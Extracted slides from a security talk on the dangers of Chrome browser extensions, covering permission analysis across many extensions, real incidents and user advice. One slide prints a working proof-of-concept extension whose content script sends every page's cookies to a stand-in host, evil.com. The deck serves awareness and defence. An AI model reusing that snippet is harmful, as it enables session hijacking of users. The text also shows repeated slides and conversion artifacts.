The Evil Friend in Your Browser

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Abstract

On the one hand, browser extensions, e.g., for Chrome, are very useful, as they extend web browsers with additional functionality (e.g., blocking ads). On the other hand, they are the most dangerous code that runs in your browsers: extension can read and modify both the content displayed in the browser. As they also can communicate with any web-site or web-service, they can report both data and metadata to external parties.

The current security model for browser extensions seems to be inadequate for expressing the security or privacy needs of browser users. Consequently, browser extensions are a "juice target" for attackers targeting web users.

We present results of analysing over 2500 browser extensions on how they use the current security model and discuss examples of extensions that are potentially of high risk. Based on the results of our analysis of real world browser extensions as well as our own threat model, we discuss the limitations of the current security model form a user perspective.
Outline

1 Motivation

2 What are extensions: user perspective

3 What are extensions: developer perspective

4 Little shop of horrors

5 Outlook
Outline

1. Motivation
2. What are extensions: user perspective
3. What are extensions: developer perspective
4. Little shop of horrors
5. Outlook
Browsers are the new operating systems
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Browsers are the new operating systems
Protecting Web Users

- HttpOnly
- Same-origin policy
- Content Security Policy (CSP)
- …
Security of web browsers

The major browser vendors
- take security seriously
- investing a lot in making web browsers secure and trustworthy
Security of web browsers

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  - take security seriously
  - investing a lot in making web browsers secure and trustworthy
- We have a good basis for secure web applications
Security of web browsers

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  - take security seriously
  - investing a lot in making web browsers **secure and trustworthy**

- We have a good basis for secure web applications, **until** we add extensions:
  - can extend/modify the browser
  - anybody can write/o/uniFB00er them
Security of web browsers

- The major browser vendors
  - take security seriously
  - investing a lot in making web browsers 
    secure and trustworthy

- We have a good basis for secure web applications, until we add extensions:
  - can extend/modify the browser
  - anybody can write/offer them
  - might tear down the defence from inside
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Browser extensions

- Add-ons extending your browser
- Google says:
  - small software programs
  - little to no user interface
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- What we find:
  - complex and large programs
  - sophisticated user interfaces
Browser extensions

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Google says:
  - small software programs
  - little to no user interface

What we find:
  - complex and large programs
  - sophisticated user interfaces

What extension can do:
  - modify the user interface (how your browser behaves)
  - modify web pages (what you see)
  - modify web request (what you enter)
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Malicious extensions are a real threat to users (1/2)
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Adware Replaces Phone Numbers for Security Firms Returned in Search Results

By Catalin Cimpanu

March 27, 2017 02:30 PM 0

A new adware family named Crusader will rewrite tech support phone numbers returned in Google search results, display ads, and show popups pushing tech support scams.

Current versions of Crusaders are installed on victims’ computers via software bundles. Users usually download a free application, whose installer also adds Crusader.
Malicious extensions are a real threat to users (2/2)

- Web of Trust (WoT) logged all web requests
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- and sold the data to third parties
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- Web of Trust (WoT) logged all web requests
- and sold the data to third parties
- A German TV station bought the data
- “de-anonymized” it
- and found critical data, e.g.:
  - tax declaration of a member of the German parliament
  - details about international search warrants
  - …
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The architecture of browser extensions

```
{
    "update_url": "https://clients2.google.com/service/update2/crx",
    "name": "Test/uni2423Extension",
    "version": "0.1",
    "manifest_version": 2,
    "description": "This/uni2423is/uni2423a/uni2423harmless/uni2423extension...",
    "permissions": [
        "tabs", ",<all_urls>"", "webRequest"
    ],
    "content_scripts": [
        {
            "all_frames": true,
            "js": ["content_script.js"],
            "matches": ["<all_urls>"]
        },
        {
            "all_frames": true,
            "js": ["content_script.js"],
            "matches": ["<all_urls>"]
        },
        {
            "all_frames": true,
            "js": ["content_script.js"],
            "matches": ["<all_urls>"]
        }
    ],
    "background": {
        "scripts": ["background.js"]
    }
}
```
Security mechanism: Permissions

Background Scripts
Two-dimensional permission system:
- *functional* permissions: tabs, bookmarks, webRequest, desktopCapture, ...
- *host* permissions: https://*.google.com, http://www.facebook.com, but also <all_urls> and https:///*/*

Host permissions restrict effect of some functional permissions

Content Scripts
Black and white: either injecting script, or not
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Chrome Web Store

Main way of distributing extensions

We monitored 115k extensions over 3 months

Wide variety of categories:

- productivity 29.29%
- fun 11.65%
- communication 10.24%
- web_development 9.15%
- games 7.52%
- accessibility 7.22%
Extensions are big ...

![Bar chart showing the distribution of extension sizes and JavaScript Loc]
... and old

15% use old jQuery version! (1.x or 2.x)
Case one: Read all your history

- Permission: *tabs* or *<all_urls>* or content script on all sites
- Needed for many simple extensions
- Can monitor your complete history, incl. full urls
Case one: Read all your history

- Permission: `tabs` or `<all_urls>`, or content script on all sites
- Needed for many simple extensions
- Can monitor your complete history, incl. full urls
- 34% of 115,000 extensions
- total downloads: 715m
Case two: Read and write all data on your websites

- Permission: `<all_urls>`, or content script on all sites
- Minimum level of permissions for many extensions
- Gives full access to the web site
Case two: Read and write all data on your websites

- Permission: `<all_urls>`, or content script on all sites
- Minimum level of permissions for many extensions
- Gives full access to the web site
- 21% of 115,000 extensions
- Total downloads: 615m
Case three: Circumvent security measures

- Permission: `<all_urls>` and `webRequest`
- Can intercept and change all HTTP headers!
- **Disable Content-Security-Policy, Same-origin Policy, etc.**
- Breaks security guarantees of web browsers!
Case three: Circumvent security measures

- Permission: `<all_urls>` and `webRequest`
- Can intercept and change all HTTP headers!
- **Disable Content-Security-Policy, Same-origin Policy, etc.**
- Breaks security guarantees of web browsers!
- 6% of 115,000 extensions
- Total downloads: 325m
It’s that easy...

```
michael@xl ~/projects/cookiestealer ls
  content_script.js  manifest.json
michael@xl ~/projects/cookiestealer cat manifest.json
{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "name": "Test Extension",
  "version": "0.1",
  "manifest_version": 2,
  "description": "This test extension steals all your cookies.",
  "permissions": [
    "webRequest"
  ],
  "content_scripts": [
    {
      "all_frames": true,
      "js": ["content_script.js"],
      "matches": ["<all_urls>"],
      "run_at": "document_start"
    }
  ]
}
michael@xl ~/projects/cookiestealer cat content_script.js
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'https://evil.com/?cookies=' + document.cookie);
httpRequest.send();
michael@xl ~/projects/cookiestealer
```
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How can we make web browsing great* again?

* great = ensuring the security, integrity, and privacy of the user of a web browser
How can we make web browsing great* again?

- **Integrity:**
  - content modifications
  - layout modifications

- **Confidentiality:**
  - data storage
  - transmitted data

- **Privacy:**
  - access to sensors
  - personal identifiers

*great = ensuring the security, integrity, and privacy of the user of a web browser
Outlook: On the long term

- Sandboxing of extensions
- A different permission model
  - granularity?
  - dynamic vs static?
- Better explanation for users
- Better analysis/test tools for extensions

Expect updates from us in the future …
Outlook: On the short term (1/2)

- Be aware of the risk
- Check the vendor of the extension carefully
- Check the permissions (i.e., active domains)
- Use browser profiles
Outlook: On the short term (2/2)

Frequent updates vs Governance
Thank you for your attention!
Any questions or remarks?

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